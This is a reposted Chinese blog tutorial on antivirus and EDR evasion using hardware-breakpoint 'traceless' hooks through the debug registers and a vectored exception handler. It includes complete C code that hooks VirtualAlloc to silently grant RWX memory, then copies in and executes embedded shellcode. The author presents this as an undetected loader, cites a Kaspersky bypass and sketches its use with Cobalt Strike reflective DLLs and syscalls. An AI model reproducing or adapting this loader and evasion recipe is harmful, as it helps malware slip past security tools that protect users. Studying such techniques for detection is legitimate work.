免杀笔记 ---> 无痕Hook?硬件断点 Syscall!

news2024/9/27 9:22:10

说到Hook,我们有很多Hook,像Inline-Hook,我们也是用的比较多,但是正如我上一篇Blog说的,他会对内存进行修改,如果EDR或者AV增加一个校验机制,不断检验某一块内存,那么就算你用syscall绕过了Ring3的Hook成功修改了内存也是会被扫描出来的! 

于是就有了今天的无痕Hook ---> 硬件断点

其实也是小编收到了粉丝的建议,于是赶出来了那个代码,但是这个技术是未公开的,所以小编就不放代码,但是会公布部分,以及一些细节(我也不想这个技术那么快没用,望理解😋)

但是效果还是可以展示的(卡巴斯基30minutes未杀,但是也不建议用CS对抗

目录

1.调试寄存器

1.DR0 - DR3

2.DR7

3.DR6

2.无痕Hook

​3.免杀!


1.调试寄存器

如上图,就是Windows的调试寄存器,它位于CPU中,我们讲一些比较重要的寄存器

1.DR0 - DR3

首先就是这三个寄存器了,这也是我们能使用的4个断点寄存器,它用来存储断点的地址

2.DR7

这个就是一个比较重要的寄存器了,我们从右往左去看

首先就是前八位,包含了L0 - L3 以及 G0 - G3,其中L是局部开关,G是全局开关,分别对应DR0 - DR3

然后就是R/W 和 LEN ,分别对应着读写域和 长度域

其中读写域(R/W)有四种状态 :

00 (硬件执行断点)

01  (硬件写入断点)

10  (IO中断)

11  (硬件访问断点)

其中长度域的状态

00 ---- 1字节

01 ----- 2字节

10 ----- 8字节

11 ----- 4字节

3.DR6

此寄存器可以用于描述硬件断点的情况,当我们在DR0下断点的时候,对应的B0就会变成1,DR1-3也是如此,那么如果B0-3都不为1的话,那么说明就是TF位为0的单步异常

2.无痕Hook

我们这里还是拿MessageBoxA来举例(好像每次受伤的都是它hhhh)

#include<Windows.h>
#include<stdio.j>

SIZE_T MessageBoxAddr = NULL;


LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == MessageBoxAddr)
	{
		const char* title		= "硬件断点Hook";
		const char* context		= "已经被Hook";
		pExcepInfo->ContextRecord->R8	= (unsigned long long)title;
		pExcepInfo->ContextRecord->Rdx	= (unsigned long long)context;
		
		// 清除硬件断点
		pExcepInfo->ContextRecord->Dr0 = 0;
		pExcepInfo->ContextRecord->Dr7 = 0x0;

		return EXCEPTION_CONTINUE_EXECUTION;
	}

	return EXCEPTION_CONTINUE_SEARCH;
}

void HardWareBreakPoint(HANDLE hThread)
{
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(hThread, &ctx);
	ctx.Dr0 = MessageBoxAddr;
	ctx.Dr7 = 0x00000001;
	SetThreadContext(hThread, &ctx);
}
int main()
{
MessageBoxAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);

//没有hook
MessageBoxA(NULL, "没有Hook", "不存在Hook",MB_OK);
// 硬件断点Hook
HardWareBreakPoint(GetCurrentThread());
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
//已去除硬件断点的Hook
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
}

其实思路就是如下

  • 先注册一个异常,用于断点处的操作(操作堆栈或者寄存器)
  • 然后写一个硬件断点,调试寄存器是你要断的地址
  • 然后当你的程序调用这个函数,或者说call这个地址的时候就会触发硬件断点(具体什么断点看你怎么设置,这里是硬件执行断点)
  • 然后就进入你的Veh函数进行处理

并且我们可以看见被Hook的时候,它的内存是没有任何的改变的,这一点就能很好的对抗CRC32检测内存Patch的规则!!

这里我们也可以用一个计算器的脚本来进行加深理解(此脚本完全可以改成Loader,自行研究)

#include<stdio.h>
#include<Windows.h>

//硬件断点Hook VirtualAlloc

SIZE_T virtualAllocAddr = NULL;
LPVOID testAddr			= NULL;

LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
	if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == virtualAllocAddr)
	{
		//设置为可读可写可执行
		pExcepInfo->ContextRecord->R9 = PAGE_EXECUTE_READWRITE;

		// 清除硬件断点
		pExcepInfo->ContextRecord->Dr0 = 0;
		pExcepInfo->ContextRecord->Dr7 = 0x0;

		return EXCEPTION_CONTINUE_EXECUTION;
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

void HardWareBreakPoint(HANDLE hThread)
{
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_ALL;
	GetThreadContext(hThread, &ctx);
	ctx.Dr0 = virtualAllocAddr;
	ctx.Dr7 = 0x00000001;
	SetThreadContext(hThread, &ctx);
}


unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};



void DummyFunction()
{
	HardWareBreakPoint(GetCurrentThread());

	testAddr = VirtualAlloc(NULL, sizeof(Payload), MEM_COMMIT, PAGE_READWRITE);

	memcpy(testAddr, Payload, sizeof(Payload));
	
	printf("%p", testAddr);
	
	((void(*)())testAddr)();
	
}

int main()
{
	HANDLE hThread = NULL;
	//硬件断点无痕Hook VirtualAlloc
	virtualAllocAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "VirtualAlloc");

	AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
	

	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)DummyFunction, NULL, NULL, NULL);

	WaitForSingleObject(hThread, INFINITE);
	
	return 0;
}

可以看见我们一开始分配的rw内存也是在硬件断点Hook的情况下变成了RWX

并且计算器也是能成功弹出来的

并且我们的VirtualAlloc也是没有被Hook的(这里的Jmp并不是我们的操作,其他程序也会如此)

我们的程序 

系统自己的程序

3.免杀!

等了这么久,终于来到重头戏了,这里我不会详细讲,只是提个大体思路(聪明的你们应该能自己实现的吧😋😋) 

其实还是WBG大佬的脚本,不过是多次的升华,我们还是盯着VirtualAlloc 和Sleep这两函数

然后就是重点的Veh函数处理(这里的VirtualAlloc必须在获取反射dll和loader的产物那块地址之后进行 "脱钩" ,否则你后面BOF的执行会有问题,不用Bof当我没说。。。)

重点就是这两个啦,正所谓 "救赎之道,就在其中" 也正是我们的无痕断点,使得我们并不需要对内存进行Patch ,配合Syscall ,大家可以放心食用😊😋😋

此JMP并不是我的操作(并无对内存进行Patch)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2165781.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flink 结合kafka 实现端到端的一致性原理

Kafka 事务实现原理 Flink checkpoint 结合kafka 实现端到端的一致性 为啥taskState 的时候要开启一个新事务&#xff0c;因为本来做state 就相当于把barrier之前的状态做一个快照&#xff0c;相当于是一个新的开始&#xff0c;所以开启一个新的事务。那为啥checkpoint 第一步要…

如何在数据分析中处理异常?

在数据分析中&#xff0c;处理异常值是确保数据质量的关键步骤。以下是一些常见的方法&#xff1a; 1. 检测异常值 可视化方法 箱线图&#xff1a;通过matplotlib或seaborn绘制箱线图&#xff0c;识别数据中的异常值。 import seaborn as sns import matplotlib.pyplot as …

新版双向链表,添加了at, front, back, insert, emplace等为了兼容std.

例子&#xff1a; #define _list _DListint main() {list<int> c1 { 1,2,3,4,5,6,7,8,9,10};if (!c1.empty()) {c1.front() 42; //将42赋予c中的一个元素auto& v c1.back(); //获得指向最后一个元素的引用v 1024; //改变c中的元素auto v2 c1.back(); //v2不…

【笔记】Dynamic Taint Analysis 动态污点分析

Dynamic Taint Analysis 动态污点分析 什么是动态污点分析&#xff1f;为什么要搞动态污点分析&#xff1f; “污点”指的是什么&#xff1f; DTA中的“污点”指代的是不可信的输入&#xff0c;比如用户输入、网络请求、文件数据等。比方说&#xff0c;如果把程序看作一个城市&…

知识图谱检索 Graph-Based Retriever:文本块到结构化数据的转换,解决语义检索捕获不了的长尾关系

知识图谱检索 Graph-Based Retriever&#xff1a;文本块到结构化数据的转换&#xff0c;解决语义检索捕获不了的长尾关系 如何理解&#xff1f;如何分析&#xff1f;升维降维梳理为什么这种解法能查到长尾内容&#xff0c;而传统语义不行&#xff1f;解法拆解 如何关联&#xf…

大觅网之综合管理(Comprehensive Management of Da Mi Network)

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 本人主要分享计算机核心技…

MySQL InnoDB 事务commit逻辑分析

一、前言 事务提交是事务即将落盘的一系列操作&#xff0c;涉及redo\undo log的写盘、bin log的写盘、事务状态的重置、各种参数的改变、无用undo log的清理等方方面面。 在commit过程会有两个阶段&#xff1a;一个是prepare阶段&#xff0c;入口函数为trx_prepare_low&#…

计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-09-25

计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-09-25 1. PromSec: Prompt Optimization for Secure Generation of Functional Source Code with Large Language Models (LLMs) M Nazzal, I Khalil, A Khreishah, NH Phan - arXiv preprint arXiv:2409.12699, 2…

无人机探测:光电侦测技术详解

无人机探测技术作为现代军事、安防及民用领域的重要组成部分&#xff0c;其核心在于高效、精准地识别与跟踪空中目标。光电侦测技术&#xff0c;作为无人机探测的主要手段之一&#xff0c;利用光学与电子学原理&#xff0c;通过捕捉并分析无人机反射或发射的光信号&#xff0c;…

Debian与Ubuntu:深入解读两大Linux发行版的历史与联系

Debian与Ubuntu&#xff1a;深入解读两大Linux发行版的历史与联系 引言 在开源操作系统的领域中&#xff0c;Debian和Ubuntu是两款备受瞩目的Linux发行版。它们不仅在技术上有着密切的联系&#xff0c;而且各自的发展历程和理念也对开源社区产生了深远的影响。本文将详细介绍…

【C++指南】C++中的内存对齐规则及原因详解

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《C指南》 期待您的关注 目录 引言 一、为什么要进行内存对齐 二、C中的内存对齐规则 三、内存对齐示例讲解 示例代码 运行…

Spring Boot 进阶-第一个程序HelloWorld

从我们学习编程语言开始,每次入门一个语言都是从Hello World开始,当然这里我们也不例外。首先从一个简单的HelloWorld程序开始。 既然是要学着做Java Web开发,那么首先需要了解的就是如何去编写一个RESTFul风格的接口,这里我们就需要引入一个pom的依赖。 <dependency&g…

矩阵分析 学习笔记4 内积与Gram矩阵

内积 定义 由于对称&#xff0c;第二变元线性那第一变元也线性了。例如这个&#xff1a;

【YashanDB知识库】yashandb执行包含带oracle dblink表的sql时性能差

本文内容来自YashanDB官网&#xff0c;具体内容请见https://www.yashandb.com/newsinfo/7396959.html?templateId1718516 问题现象 yashandb执行带oracle dblink表的sql性能差&#xff1a; 同样的语句&#xff0c;同样的数据&#xff0c;oracle通过dblink访问远端oracle执行…

spring学习 【基础】

目录 1.将bean交给spring容器管理 1. 编写bean对象 2. 在resources目录下创建spring config xml文件&#xff0c;并管理bean对象 3. spring容器管理工厂 2.Spring Bean 生命周期 2.1 Spring Bean初始化方法 2.1.1 自定义初始化方法 2.1.2 实现接口(InitializingBean)…

Spring6梳理12——依赖注入之注入Map集合类型属性

以上笔记来源&#xff1a; 尚硅谷Spring零基础入门到进阶&#xff0c;一套搞定spring6全套视频教程&#xff08;源码级讲解&#xff09;https://www.bilibili.com/video/BV1kR4y1b7Qc 12 依赖注入之注入Map集合类型属性 12.1 创建Student类和Teacher类 Student类中创建了run…

灵当CRM multipleUpload.php 文件上传致RCE漏洞复现

0x01 产品描述&#xff1a; 灵当CRM是一款专为中小企业量身定制的智能客户关系管理工具&#xff0c;由上海灵当信息科技有限公司开发和运营。该系统广泛应用于多个行业&#xff0c;包括金融、教育、医疗、IT服务及房地产等领域&#xff0c;旨在满足企业对客户个性化管理的需求&…

集合ArrayList常用方法

源代码&#xff1a; 输出结果&#xff1a;

小米Civi2机型工程固件 资源预览 刷写说明 与nv损坏去除电阻图示

小米Civi2机型机型代码为:ziyi。次期开始讲在博文中陆续解析机型nv损坏修复的一些步骤与当前机型去除校验电阻相关的图示与说明。注意。米系列机型有串码校验。去除电阻需要一定的技术,请谨慎操作。 通过博文了解 1💝💝💝-----此机型工程固件的资源刷写注意事项 2�…

【计算机网络 - 基础问题】每日 3 题(二十四)

✍个人博客&#xff1a;Pandaconda-CSDN博客 &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/fYaBd &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞&#x1f44d;收藏&…